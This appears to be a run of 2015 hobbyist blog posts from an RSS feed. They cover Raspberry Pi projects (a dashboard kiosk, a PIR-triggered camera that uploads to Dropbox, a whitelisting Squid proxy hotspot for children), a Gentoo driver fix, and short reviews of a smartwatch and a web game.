<pubDate>Wed, 21 Oct 2015 21:11:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2015.html#p211020152111</link>
<description>
The development team at work wanted an easy way of visualising the number of issues in various queues. This was back before Raspberry Pis so we opted for an LED sign mounted on the wall. There were certainly a number of problems with this approach. Firstly the sign was pretty cheap and could only be programmed via a serial cable from Windows XP.
Still, it was not difficult to find a machine up to the job and remote desktop in. Secondly the serial protocol was propitiatory so we had to reverse engineer it. Eventually I managed to build the nice command line tool that would update the sign in multi-colours with the correct information.

The development team was very happy, but not so the design team that got distracted every time the sign flashed and blinked as it scrolled. So that was scrapped, which was extra annoying as I had already built a basic bitmap library to display arbitrary images.

Skip forward a few months, the Raspberry Pi was released and my bosses boss got two and the budget for a couple of HDMI TVs with wall mounting brackets. He based this purchase arrangement on a service called <a href="http://www.geckboard.com">GeckoBoard</a> which shows custom dashboards.

Originally the Raspberry Pi running Chromium was the preferred way of running a <a href="http://www.geckboard.com">GeckoBoard</a> but the single core 256mb machines(these were very early Pis) could not cut it and kept just dying, requiring a power cycle. I did try setting up the watchdog as well as scheduled daily reboots but they got worse and worse until <a href="http://www.geckboard.com">GeckoBoard</a> stopped supporting them.

Fast forward to present day, I requested and was surprised to receive a Raspberry Pi 2 4 core 1GB ram. This is how I got it set up.

This is with the latest NOOBS with Raspbian and Jessie (systemd)

First up there are no Chromium builds available at the moment, grrrr! Lets try Firefox instead or its namesake Iceweasel.
<code>sudo apt-get install iceweasel</code>
Works well with the <a href="http://www.geckboard.com">GeckoBoard</a> JavaScript that tripped up all the other non Chrome browsers. But, wait iceweasel has no full screen command line switch, grrrr!
<code>sudo apt-get install xdotool

xdotool key --clearmodifiers F11</code>

Sends to the F11 command as if you had typed it and if Iceweasel is the in-focus application then it switches to full screen!

Now to get it to auto start
<code>vi .config/lxsession/LXDE-pi/autostart</code>
note: another up to date Pi had that file outside the users folder
<code>sudo vi /etc/xdg/lxsession/LXDE-pi/autostart</code>

I then commented out the lines that run the screen saver and desktop and added in xset calls that stop the automatic screen blanking and a call to shell script to run Iceweasel and my python code(more on that later).
<code>#@lxpanel --profile LXDE-pi
#@pcmanfm --desktop --profile LXDE-pi
#@xscreensaver -no-splash
#disable screen blanking for kiosk mode
@xset s off
@xset -dpms
@xset s noblank
#manage iceweasel including full screening
@sh /home/pi/.config/lxsession/LXDE-pi/iceweasel.sh
#@sh ${HOME}/.config/lxsession/LXDE-pi/autokey.sh
#Run some python code to record the IP address the Pi is given and send it to dropbox
@python /home/pi/Python/identify.py</code>

The script file was necessary as systemd makes it impossible(or at least very difficult) to till when things are ready. Hence all the sleeps.
<code>#!/bin/sh
sleep 15
iceweasel https://my.geckoboard.com/dashboards/DEADBEEF00FF &amp;
sleep 15
xdotool key --clearmodifiers F11</code>

Rebooting now meant the Pi came up then ran Iceweasel with the dashboard page and then 15 seconds later switched to full screen. Though in practice it is a lot less than 15 seconds.

This was great but I need to get the IP address that the Pi would use at work from the WiFi network. After the success with <a href="http://www.jumpstation.co.uk/flog/Aug2015.html#p050820152206">DropBox and Python on a previous Pi project</a> I copied that code and added the value for the IP address.

Install prerequisites
<code>sudo apt-get install python-pip
sudo pip install dropbox</code>

and the identify.py file looks like this.
<code>#update file with date and IP address and upload to dropbox
#expected to be called when Pi reboots and loads X
import dropbox
import datetime
import socket

def get_ip_address():
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(("8.8.8.8", 80))
    return s.getsockname()[0] 
client = dropbox.client.DropboxClient('DROPBOXAUTHKEYGETYOURSFROMYOURDROPBOXACCOUNT')

fileHandle = open('/home/pi/logs/ipaddress.log', 'ab')
fileHandle.write(get_ip_address()) 
fileHandle.write(datetime.datetime.now().strftime(" %Y/%m/%d %H:%M:%S UP\n"))
fileHandle.close()
fileHandle = open('/home/pi/logs/ipaddress.log', 'rb')
response = client.put_file('/ipaddress.txt', fileHandle, overwrite=True)</code>

That appends the new IP address and date to the file before re-uploading it to DropBox

Setting up WiFi was as easy as following my <a href="http://www.jumpstation.co.uk/flog/Jul2015.html#p130720152301">previous WiFi on the Pi notes</a>

Worked at home when I tested it! Took it into work and plugged it in, waited and ... nothing in my DropBox :( After much messing about, as I could not just plug the Pi into a screen(it's screwed to the wall) I connected it up to a projector to find ... dum dum DUM the SD card had come unseated and nothing was loading. After pushing it back in everything worked and the IP address appeared in my DropBox.
</description>
</item>
<item>
<title>Missing GFX causes gedit to seg fault SOLVED</title>
<pubDate>Sun, 11 Oct 2015 22:19:54 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2015.html#p111020152219</link>
<description>
I love Gentoo Linux and most of the time it just works but, today it did not.

I rebuilt the linux kernel and everything went fine, rebooted and tried to follow my "post kernel install steps", which are basically just install a matching GFX card driver. This is required for accelerated and 3D graphics.

But it will not install! Deciding that right then and there I did not need 3D and that slow screen switching was acceptable, I left it as a job to do later. Which would have been fine if it had not been for <a href="https://wiki.gnome.org/Apps/Gedit/Screenshots">gedit</a>. A simple graphical text editor that I favour.
It was giving an error every time I ran it "Segmentation Fault", which is as generic as you can get on Linux. Nothing useful in the logs.

I started by trying to re-install, went fine, but the problem persisted. Then I started re-installing all its dependencies.
<code>
emerge -av introspection
emerge -av glib
emerge -av gobject-introspection-common gobject-introspection
emerge -av gedit
emerge --sync &amp;&amp; emerge --pretend --update --deep world
emerge -avDNut world
revdep-rebuild
emerge @preserved-rebuild
</code>
and including all my "update and rebuild everything" commands.

No change. At work I had come across talk of the <a href="http://chadfowler.com/blog/2014/01/26/the-magic-of-strace/">strace</a> command that logs system calls in Linux programs. Running this produced thousands of lines that made little or no sense and just ended with the SIGSEGV signal. But in among the cruft I did see a reference to ATIFGLEXTENSION. Odd, gedit does not do anything GFX-y. So ignored it and went and complained on the forums https://forums.gentoo.org/viewtopic-t-1030166.html

In the mean time I had been reading MANY posts from Gentoo users over the last 3 months about problems installing the latest ATI drivers with 4.0 kernel. A lot making little sense, regarding overlays and patches. What I did make out was a new driver version was available but needed work to install.

Unmask the AMD 68bit version in /etc/portage/package.accept_keywords/ by adding
<code>=x11-drivers/ati-drivers-15.9-r1 ~amd64</code>
then run
<code>emerge -av ati-drivers</code>
that gives you the location of the files to manually download
<code>wget http://developer.amd.com/wordpress/media/2012/10/xvba-sdk-0.74-404001.tar.gz</code>
Then visit http://support.amd.com/en-us/download/ to download the 64bit linux driver.
These two files must be then moved to /usr/portage/distfiles/ (as they are, NOT expanded/unzipped)
then run
<code>emerge -av ati-drivers</code>
which finds the required files and installs everything. Finally a reboot fixes everything in place and gedit run once more, phew!
</description>
</item>
<item>
<title>How pi camera can be toggled</title>
<pubDate>Sat, 12 Sep 2015 17:00:09 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2015.html#p120920151700</link>
<description>
The <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=camera">Pi cam</a> is still working well. But the space issue is still a problem. So bad that I have taken to ssh-ing in and disabling it. Which of course leads to forgetting to re-enable it.

Ideally it would need an indicator for "enabled/disabled" and and external physical switch/button.

options include;

<ol>
<li>An LED running as a "On Air" indicator plus a physical toggle switch.</li>
<li>A Mobile phone app that shows the status and allows it to be toggled.</li>
<li>A web page available on my local network that and browser can visit see and toggle the status.</li>
</ol>

Number two sounds too time consuming for value I would get from it, Number one sounds the simplest but I can never get switches to work with the GPIO pins so there would be a lot of research, though I have the Pis for it. Number three fits with other projects and I know I could get node to do the necessary work.

If I use node to control everything then it would be practical to add other data such as the time of the last shot and a URL/thumbnail and of course then DropBox size limit.


</description>
</item>
<item>
<title>pi pir python rig success</title>
<pubDate>Wed, 05 Aug 2015 22:06:15 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2015.html#p050820152206</link>
<description>
I struggled for a long time with the last <a href="http://www.jumpstation.co.uk/flog/tags.html?tag=camera">Pi cam</a>, so I wanted to take a completely different approach.

PIR (Passive Infrared Sensor) are simple and cheap, detecting the movement of objects giving of Infrared radiation e.g. humans. (You might want to watch <a href="https://en.wikipedia.org/wiki/Sneakers_%281992_film%29">Sneakers</a> for tips on how to avoid them ;)

This would involve electronics (which I am not very good at) but should result in a simple setup. Luckily for me there is a handy <a href="https://www.raspberrypi.org/learning/parent-detector/worksheet/">worksheet</a> over on the https://www.raspberrypi.org/learning/ portal. 

Great news! Number of components is 1, not even a resistor! All that is needed is the PIR sensor and the right cables to connect it to the Pi.

I copied the first code example from the <a href="https://www.raspberrypi.org/learning/parent-detector/worksheet/">worksheet</a> and it worked!

Not a pretty program when running, I decided to make it a bit more interesting.

<code>
import RPi.GPIO as GPIO
import time
import sys

sensor = 4

GPIO.setmode(GPIO.BCM)
GPIO.setup(sensor, GPIO.IN, GPIO.PUD_DOWN)

previous_state = False
current_state = False
state = "+"

try:
    while True:
        time.sleep(0.01)
        previous_state = current_state
        current_state = GPIO.input(sensor)
        if current_state != previous_state:
            new_state = "HIGH" if current_state else "LOW"
            if new_state == "HIGH":
                state = "+"
            else:
                state = "="
        else:
            state = "_"
        sys.stdout.write(state)
        sys.stdout.flush()
except KeyboardInterrupt:
    print "User Quit, doing GPIO clean up"
    GPIO.cleanup()</code>

Instead of spitting out the words "HIGH" and "LOW", it streams characters
<code class="output">___________________________________________+=___________________________+__=____________________+_=___________________________________+=__________________+______________________________=________________User Quit, doing GPIO clean up
</code>
You can clearly see when the sensor was tripped "+" and then when the sensor thought nothing else was going to happen "=" and finally nothing has changed from the last state "_".

I then added in some simple camera commands and it would take pictures and save them to the PI when activity was sensed. There is a lot of documentation and even more examples of driving the raspberry Pi camera with Python https://picamera.readthedocs.org/

Then I wondered about calling out to the DropBox upload script I had <a href="http://www.jumpstation.co.uk/flog/Dec2014.html#p161220142208">used previously</a>. Surely trying to upload files to DropBox in Python would be super painful?

I quick demo to myself
<code>#DropBox POC from stackoverflow
#http://stackoverflow.com/questions/23894221/upload-file-to-my-dropbox-from-python-script
import dropbox

client = dropbox.client.DropboxClient('DROPBOXAUTHKEYGETYOURSFROMYOURDROPBOXACCOUNT')
print 'linked account: ', client.account_info()

f = open('working-draft.txt', 'rb')
response = client.put_file('/88/magnum-opux.txt', f)
print 'uploaded: ', response

folder_metadata = client.metadata('/')
print 'metadata: ', folder_metadata

f, metadata = client.get_file_and_metadata('/88/magnum-opux.txt')
out = open('magnum-opux.txt', 'wb')
out.write(f.read())
out.close()
print metadata</code>

This uploads a local file "working-draft.txt" to a DropBox folder "88" with the new file name of "magnum-opux.txt" and then downloads that file "/88/magnum-opux.txt". It also spits out a lot of information, but it did work.

Get your "DROPBOXAUTHKEYGETYOURSFROMYOURDROPBOXACCOUNT" key by going to your https://www.dropbox.com/developers/apps page creating an app and creating a key.

This means all I need to add is 5-6 lines to my main camera script.

<code># Pir_camera.py
#
# Polling script to take and upload images when PIR sensor is triggered
# Rob Davis 2015
#
import RPi.GPIO as GPIO
import time
import sys
import os
import picamera
import datetime 
import dropbox

# Never upload your secret keys to github!
client = dropbox.client.DropboxClient('DROPBOXAUTHKEYGETYOURSFROMYOURDROPBOXACCOUNT')

liveOutput = False
#Create a camera interface with the half the maximum 5MP resolution
cam = picamera.PiCamera()
cam.resolution = (1296, 972) 

#Which GPIO pin are we using?
sensor = 4

#Set the GPIO pin ready for input
GPIO.setmode(GPIO.BCM)
GPIO.setup(sensor, GPIO.IN, GPIO.PUD_DOWN)

#simple state variables
previous_state = False
current_state = False
state = "+"
capturing = False
captureCount = 0

#Upload a file name to a path on DropBox
def UploadFile(filename, uploadPath):
    fileHandle = open(filename, 'rb')
    response = client.put_file(uploadPath + filename, fileHandle)
    #really should check the response, but, it always works ;)
    os.remove(filename)

#Get a unique filename based on the datetime
def GetFileName(count):  
    return datetime.datetime.now().strftime("%Y%m%d%H%M%S_" + str(count) + ".jpg")

#Get a path based on the date, so a new folder each day
def GetUploadPath():  
    return datetime.datetime.now().strftime("%Y%m%d/")

if len(sys.argv) >= 2 and sys.argv[1] == "-v" :
    liveOutput = True


#Main loop in a try/catch to allow for CTRL+c termination
try:
    while True:
        time.sleep(0.01)    # very short sleep, 100th of a second 
        previous_state = current_state   # back up current state
        current_state = GPIO.input(sensor)   # get new 'current' state
        if current_state != previous_state:
            new_state = "HIGH" if current_state else "LOW"
            if new_state == "HIGH":
                state = "+"
                capturing = True
            else:
                state = "="
                capturing = False
                captureCount = 0
        else:
            state = "_"
        if capturing:
            state = "[o]"
            captureCount += 1    # allows for multiple frames per-second
            filename = GetFileName(captureCount)
            uploadPath = GetUploadPath()
            cam.annotate_background = picamera.Color('black')
            cam.annotate_text = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
            cam.capture(filename)    # get a photo from the camera
            UploadFile(filename, uploadPath)    # upload the photo to a 'todays' folder on DropBox
        if liveOutput :
            sys.stdout.write(state)    # print out the state without a LF
            sys.stdout.flush()    # flush to stdout or it will sit waiting for a LF
except KeyboardInterrupt:
    print "User Quit, doing GPIO clean up"
    GPIO.cleanup()
</code>

Woh! This looks like a really big program! 

Start with importing the right libraries... 
<ul>
<li>RPi.GPIO : Access to the GPIO pins and the PIR sensor</li>
<li>time : sleep function</li>
<li>sys : output buffer and command line variables</li>
<li>os : read/write/delete files</li>
<li>picamera : take pictures and setup the Pi camera</li>
<li>datetime : format the file names and folders with date stamps</li>
<li>dropbox : upload files to DropBox</li>
</ul>

Set all the starting values, like image size and which pin the PIR sensors is on.

"UploadFile" takes filename and path, uploads the file DropBox and deletes it afterwards. There is no checking to see if the upload has completed successfully, this was by design to avoid the SD card filling up if DropBox is unavailable/full.

"GetFileName" takes a frame count and builds a unique filename for that moment in time.

"GetUploadPath" makes a folder name based on the day. Each day would be presented in a different folder on DropBox.

Get the command line variable (if it exists) and compare it with "-v". If no variables are included with the Python command then no output is made during the scripts operation. If want to see the output then I run it with "-v" after the name.

Then the main loop is in a "try/except" to allow the user to CTRL+c out of the infinite "while" loop. Waits a hundredth of a second to make sure we are not hammering the poor little Pi then checks the PIR status and sets a flag to say if we should be taking photos or not.

If the "capturing" flag is set then increase the frame counter, get a new file name and the correct folder name for the day. Then set a black background for the photo text annotation and set the text of the annotation to be a time stamp. Finally take the picture saving it to the unique file name and upload it to DropBox.

It has been running for 10 days with no issue other than my free DropBox account ran out of space. I have lowered the resolution and it is filling up at a much slower rate.

</description>
</item>
<item>
<title>simple raspberry pi kiosk is simple</title>
<pubDate>Mon, 13 Jul 2015 23:18:46 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2015.html#p130720152318</link>
<description>
I need to a quick kiosk raspberry Pi setup to open a specific web page. I remember that a number of routes are available, but with Raspbian 2015/05/05 all I needed to do was append a few lines to /etc/xdg/lxsession/LXDE-pi/autostart (NOT /etc/xdg/lxsession/LXDE/autostart) so it looked like
<code>
@lxpanel --profile LXDE
@pcmanfm --desktop --profile LXDE
@xscreensaver -no-splash
@xset s off
@xset -dpms
@xset s noblank
@chromium --kiosk --incognito http://www.jumpstation.co.uk
</code>
And run <code>sudo raspi-config</code> to enable boot to desktop.

Simples(k)
</description>
</item>
<item>
<title>raspberry pi wifi is easier</title>
<pubDate>Mon, 13 Jul 2015 23:01:34 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2015.html#p130720152301</link>
<description>
I need to setup a Pi with wifi and looked over <a href="http://www.jumpstation.co.uk/flog/May2013.html#190520131158">my old notes</a> and groaned, why does it need to be so complicated?

Well with the Raspbian release 2015/05/05 all you need to do is run wpa_passphase

<code>wpa_passphrase MYESSID PASSWORD</code>
<code class="output">network={
    ssid="MYESSID"
    #psk="PASSWORD"
    psk=6c2e62aa8e220a890bafbfbe2aab76e3b600b06a0e451e5b6d49f717461c2d63
}</code>

Where any odd characters in the PASSWORD should be escaped with a black slash '\'

Then after adding that block to <code>sudo vi /etc/wpa_supplicant/wpa_supplicant.conf</code>
Just reboot.

Any other WiFi SSIDs can be appended to the same file.
</description>
</item>
<item>
<title>Mario mushrooms in blender are the new shiney</title>
<pubDate>Sat, 11 Jul 2015 11:38:55 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2015.html#p110720151138</link>
<description>
I seem to be constantly being attacked by shiny things that distract me from what I need to complete!

Today's shiny is Mario Mushrooms in Blender

This is mainly so I can remember the steps to add textures in both Blender Internal and Cycles rendering engines.
Needless to say rather than using the paint mode in the Blender UV editor you can just save the image file and work on it in something like GIMP. Which is what I did for the image below.

<img src="images/mariomushroomx3.jpg" alt="3D rendered Mario mushrooms, green, blue and red in a green scene with grass tufts and mountains">

<iframe width="420" height="315" src="https://www.youtube.com/embed/5xE3k-PQGbs" frameborder="0" allowfullscreen></iframe>

<iframe width="420" height="315" src="https://www.youtube.com/embed/ZJSUPRqNvnc" frameborder="0" allowfullscreen></iframe>
</description>
</item>
<item>
<title>Pebble Time does not dissapoint</title>
<pubDate>Sun, 28 Jun 2015 21:40:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2015.html#p280620152140</link>
<description>
As gift from my family for reaching a mile stone age I got to pre-order the <a href="https://getpebble.com">Pebble Time</a> smart watch from <a href="https://www.kickstarter.com/projects/597507018/pebble-time-awesome-smartwatch-no-compromises">Kickstarter</a>.

It arrived last Friday and I am pleased to say that the battery has not needed recharging once(though it is now at 10%). This thing is pretty amazing in a number of areas.

Choice of colours: I like not having a plain black or Apple white watch.
<img src="images/pebble_front_back.jpg" alt="pebble time watch with red strap and case, contains two images watch front and back">

Choice of watch faces: I was blown away at the news that Apple would not support different faces on their much more expensive device. There are hundreds of completely free faces from analogue to digital to fire to Batman to weather to just about anything you can think of.
<img src="images/pebble_faces.jpg" alt="pebble time watch showing two watch faces, fire and enigma">

Openness: Not only can you develop your own watch faces free of charge, but you can also develop apps that hook into websites/services and phone apps. And on top of that, they offer a full free online IDE to develop in that includes emulators of all Pebble devices links to Github and a deploy to device option. These watch faces and apps can be developed in C or JavaScript, but I have found the JS support lacking as it is still in Beta. Here is a 3D "game" that you control with the accelerometer and my Magic 8 Ball app.
<img src="images/pebble_apps.jpg" alt="pebble time watch showing two watch apps, 3D arena and Magic 8 Ball(JS Beta)">

Integration: Notifications from the phone(Android Lollipop) appear on the watch. Including twitter, SMS texts, app updates and incoming calls. This is all done via an app that is free to install from Pebble that connects via Bluetooth. Incoming calls can easily be dismissed without retrieving your phone and SMS's can be replied to via the voice to text, template or smilie options.

There is so much else to talk about, like it's 30m water resistant and it tells you weather forecasts and calendar appointments, oh and the really soft watch strap, the colour e-ink display...

I have been telling people for years that I do not need a watch, but I am really loving this. Especially the ability to make the device do what ever I want. Though saying that, it is now the new "shiny" distracting my for current projects.
</description>
</item>
<item>
<title>kidsspot tail denied madness and bad regex</title>
<pubDate>Sun, 28 Jun 2015 20:55:44 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2015.html#p280620152055</link>
<description>
I forgot to note my favourite command for monitoring the failed connections through the <a href="/flog/Jun2015.html#p270620152225">kidsspot</a> proxy.

<code>sudo tail -n 20 -f /var/log/squid3/access.log | egrep TCP_DENIED</code>

Which just monitors the access file filtering for the TCP_DENIED messages.

Here is my current white list (updated from the <a href="/flog/Jun2015.html#p270620152225">last post</a>)
<code class="output">www\.jumpstation\.co\.uk
download\.windowsupdate\.com
\.microsoft\.com
.*\.bbci?\.co\.uk
.{3}\.gamib\..{3}
www\.friv\.com
www\.msftncsi\.com
funo\.com
textadventures\.co\.uk
www\.startssl\.com/sfsca\.crl
crl\.globalsign\.net/root\.crl
update\.videolan\.org
.*\.mathletics\.co\.uk
.*\.mathletics\.com\.?a?u?
.*\.mymaths\.co\.uk
.*\.3plearning\.com</code>

Have to remember these are regular expression so "." is an character and ".*\." is any number of characters(including zero) followed by a period.
</description>
</item>
<item>
<title>kids happy with kidsspot but not https</title>
<pubDate>Sat, 27 Jun 2015 22:25:41 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2015.html#p270620152225</link>
<description>
So the <a href="/flog/Jun2015.html#p020620152215">kidsspot</a> wifi experiment is going well. Any kick back from the kids regarding whats available can be met with "it's better than nothing", which they seem happy with. Plus I am more that willing to added new sites as we find them.

Here is my current white list
<code class="output">www\.jumpstation\.co\.uk
download\.windowsupdate\.com
\.microsoft\.com
.*\.bbci?\.co\.uk
.{3}\.gamib\..{3}
www\.friv\.com
www\.msftncsi\.com
funo.com
textadventures.co.uk
www.startssl.com/sfsca.crl
crl.globalsign.net/root.crl
update.videolan.org</code>

I really should add a black list so I can filter out bbc.co.uk/news but as there are no links to it and Google does not work... Job for another day.

FYI I recommend <a href="http://textadventures.co.uk">textadventures.co.uk</a> for kids to create there own text adventures. You can add images and it is really accessible, watch the example video.

The bad news is I keep coming across HTTPS sites e.g. <a href="http://textadventures.co.uk">textadventures.co.uk</a> wants you to log in to save games(luckily) it has a download-able application). It would be nice to let the kids use Google, even if they can not follow any of the links.

SSL/HTTPS support is supposed to be straight forward(not quick and easy but also not impossible to set up), but I keep hearing about companies hardening HTTPS so that the kind of attack(yep, that what this would be) need to offer HTTPS via a transparent proxy would not be possible. Another job to add to my list.
</description>
</item>
<item>
<title>kidsspot a raspberry pi wifi hotspot for kids</title>
<pubDate>Tue, 02 Jun 2015 22:15:21 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2015.html#p020620152215</link>
<description>
I managed to nab some out-of-date laptops from work that were destined for the skip, with the proviso that I remove the hard disks for destruction. I had no idea how complicated removing drives from different laptop models was.

The kids demand http://www.friv.com on a regular basis. How can I set the laptops up so that they can visit just that site(and a few others)?

Raspberry Pi to rescue! I can set the Pi up as a WiFi hot-spot which routes all traffic through a [em]transparent proxy[/em]. What is a "[em]transparent proxy[/em]"? Simply put, a proxy that operates on the clients behalf without the clients having to know about it(zero setup). 

So [em]laptop1[/em] will connect to WiFi access point "[em]kidsspot[/em]" and every browser(and other internet request) will go to the Pi. The Pi will push all the traffic requests through a filter, so only what is allowed gets access to the internets[sic].

[em]!WARNING! !WARNING! This type of kid control is considered !BAD![/em]

What? Why?

Children should be chaperoned while on the internet at all times rather than being restricted. However, as I am not creating a "[em]black list[/em]" of all the sites I do not want them to visit but, instead creating a "[em]white list[/em]" of all the sites I [em]do[/em] want them to visit, I think I can get away with it. There are some more notes about the ethics and other bits at the end of this post.

As with all great tutorials I have borrowed heavily from giants before me.

Equipment list:
Raspberry Pi + power supply(good quality) + SD card(Raspbian installed)
WiFi USB dongle(that works with the Pi)
Ethernet cable(with some internet)
Target computer with WiFi hardware.

The first job is to get the Pi to work as a WiFi hot-spot. Follow the steps at http://www.makeuseof.com/tag/build-your-own-safeplug-tor-proxy-box/ up until the "[em]Install Tor[/em]" bit.

A couple of things to watch out for

<code class="output>"Generating /etc/default/isc-dhcp-server...
[....] Starting ISC DHCP server: dhcpd[....] check syslog for diagnost[FAIL... failed!
 failed!
invoke-rc.d: initscript isc-dhcp-server, action "start" failed.</code>

that was worrying. But as I read further down the post that was expected, doh!

so many steps! but they were all straight forward, if you ignore the screen shot for [em]/etc/network/interfaces[/em]
(it shows    [em]up iptables-restore < /etc/iptables.ipv4.nat[/em]      which is added much later)

DHCP did not work until I had changed [em]/etc/default/ifplugd[/em] to
<code>INTERFACES="eth0"
HOTPLUG_INTERFACES="eth0"</code>
and rebooted(which is noted in the [em]cat[/em] tutorial which I reference next)

At this point you can connect to your hot-spot and get an IP address and have full access to the internet!


[em]Now for the filtering.[/em]

I used http://www.makeuseof.com/tag/how-to-make-a-wifi-network-that-only-transmits-cat-pictures-with-a-raspberry-pi/ as a start but, it seems a bit out of date so I recommend only using it as reference. I will try and recreate all the necessary steps here.

<code>sudo apt-get install squid3 bridge-utils apache2 perl
nano iptables.sh</code>(you can also use [em]vi[/em] like a real hacker!)

and paste in
<code>#!/bin/bash
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -p TCP --dport 443 -j REJECT
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -A OUTPUT -p tcp --dport 443 -j DROP
iptables -t nat -A PREROUTING -i wlan0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.42.1:3128
iptables -t nat -A PREROUTING -i eth1 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 3128</code>
and save it.

Set the permissions and copy the file where we can run it as a service
<code>chmod +x iptables.sh
sudo cp iptables.sh /etc/init.d/
sudo update-rc.d iptables.sh start 99</code>

comment the [em]/etc/network/interfaces[/em] file so it looks like this.
<code>auto lo

iface lo inet loopback
iface eth0 inet dhcp

allow-hotplug wlan0
iface wlan0 inet static
address 192.168.42.1
netmask 255.255.255.0

#up iptables-restore < /etc/iptables.ipv4.nat</code>

Now to get the proxy locked down. For starters we will just allow access to my web site http://www.jumpstation.co.uk

<code>echo www.jumpstation.co.uk >> /home/pi/allowed-sites.squid</code>

then set that up in the squid config file [em]/etc/squid3/squid.conf[/em]

<code>acl GoodSites dstdomain "/home/pi/allowed-sites.squid"
http_access allow GoodSites</code>

I totally agree the [em]/etc/squid3/squid.conf[/em] is hell on earth if all you want to do is make minor adjustments. Either battle through it or try the burn-and-clear option in the [em]cat[/em] tutorial http://www.makeuseof.com/tag/how-to-make-a-wifi-network-that-only-transmits-cat-pictures-with-a-raspberry-pi/
The key thing to note is that the file is read sequentially, so at the end of all the default "[em]acl[/em]" statements I added my [em]GoodSites[/em] one and then before all the default [em]http_access[/em] command I added mine so it would override the others.

One final change while we are in [em]/etc/squid3/squid.conf[/em]
change 
<code>http_port 3128 </code>
to
<code>http_port 3128 transparent</code>

Then reboot the Pi and try and connect.

You should find http://www.jumpsatation.co.uk works but http://slsushi.co.uk is blocked!

oops! where is the coin animation on my home page? ah, it's trying to load the jQuery library from a Google CDN address. You will see this a lot, you allow one domain to work and find that it relies on another. Luckily it is easy to see what is getting blocked.
<code>sudo tail -f /var/log/squid3/access.log | egrep DENIED</code>
Will show you in real time what is getting blocked(CTRL+C to exit). Then you can update your [em]/home/pi/allowed-sites.squid[/em] and restart Squid with
<code>sudo service squid3 restart</code>

Some final notes about [em]kidsspot[/em](not to be confused with any other company or service with same name).

Lots of sites are going [em]HTTPS[/em] only, so unblocking [em]www.google.com[/em] does not help because it redirects to [em]https:&#47;&#47;www.google.com[/em]
(I am not looking at the issue of [em]HTTPS[/em] today, maybe later, currently all [em]HTTPS[/em] traffic is blocked in the [em]iptables.sh[/em] file.
If you need to bypass the proxy you can add an exclusion based on IP address, or just plugin an ethernet cable.

To exclude the ip adddress of [em]192.168.42.10[/em] from the proxy filtering add
<code>acl permittedips src 192.168.42.10</code>
and
<code>http_access allow permittedips</code>
to the relevent places in the [em]/etc/squid3/squid.conf[/em] and restart the service.
<code>sudo service squid3 restart</code>

(this does not get around the [em]HTTPS[/em] blocking in [em]iptables[/em])

Although I have not tried it you can set rules based on times, so the kids can not surf at midnight.

My use of the [em]/home/pi/allowed-sites.squid[/em] does work but I found it better to change the [em]/etc/squid3/squid.conf[/em] reference from
<code>acl GoodSites dstdomain "/home/pi/allowed-sites.squid"</code>
to
<code>acl GoodSites url_regex -i "/home/pi/allowed-sites.squid"</code>

So it treats each entry as a regular expression(case insensitive) and then you can do things like 
<code>bbci?\.co\.uk</code>
Where the "i" is optional and the "."s are escaped, otherwise the regex [em]www.site.com[/em] matches [em]wwwPsite5com.net[/em]

[em]!WARNING! !WARNING![/em] this is not supposed to be fool-proof, there are ways around this type of blocking, though they are not trivial and usually require additional internet based servers. As my kids do not own any internet servers(that I know about) I think I am pretty safe.

Speaking of "safe", does this block all [em]viruses[/em] and [em]malware[/em]? No, but it would only be if your chosen [em]white-listed[/em] sites were hacked and hosting viruses/malware that your users could get infected.

Job done, kids are happy, time to relax.
</description>
</item>
<item>
<title>the madness and beauty of agar.io</title>
<pubDate>Sat, 30 May 2015 23:14:17 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2015.html#p300520152314</link>
<description>
There is a free web based game called http://agar.io that is just amazing and that has stolen so much of my time. 

What is so great about it? Well, it's not the graphics, just different coloured slightly bloby circles. There is no sound and the controls are as simple as the graphics. Just point your mouse and the blog goes there and [SPACE] to split and [W] to eject mass.

It's the simplicity that makes this game, along with the perfect balance of power at any time. You start out as a tiny blob that can only eat the food that is scattered about randomly. But, you are fast, really really fast and almost nothing can catch you. As you get bigger eating the food you stay nimble but gradually you become snack size and other larger blogs may target you.

This is were the many strategies come into play. There are two other things in the agar with you and your fellow blobs. One is the simple, invisible edge of the world that can be great place to hide or get trapped. Second is the viruses, green and spiky and as long as you are smaller than a virus they are like sea anemones you can hide in. But that all changes if you are bigger than a virus then they pop you causing your mass to become multiple smaller blobs.

You can "feed" viruses by ejecting mass into them. After seven "feeds" they multiple into two. Sending the new virus away from you. This can be a great strategy and causing a new virus to split into a super-massive blob can be a great victory. Once and enemy blob is split it can cause a feeding frenzy changing the balance of power in an instant.

Ejecting mass can; leave food pellets to entice an enemy where you want, to make your self lighter, or simply cause a diversion.

If you can get a mass of a few hundred you understand the basics, get over a thousand and you are a contender and may appear on the top 10 leader board, get up to 10,000 and you consider yourself the winner(though nothing changes you just cannot get any bigger).

As you get bigger you find your food needs change as over time you lose mass and you slow down. You will need to plan who to attack. They must be smaller than you and close enough to consume. If you split you may end up too small to absorb them.

I cannot help but waste mass on virus feeding, this means I rarely get into the top 10 but I do live for a reasonable amount of time.

Finally, you can select any name you like(or none) including the names of other players and a set of special names such as "earth, moon, mars, nasa, poland and reddit" which give you unique skins. The names can be extracted from the JavaScript and is quite long.
</description>
</item>
<item>
<title>Git is not github git does not need a server</title>
<pubDate>Sat, 16 May 2015 11:01:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2015.html#p160520151101</link>
<description>
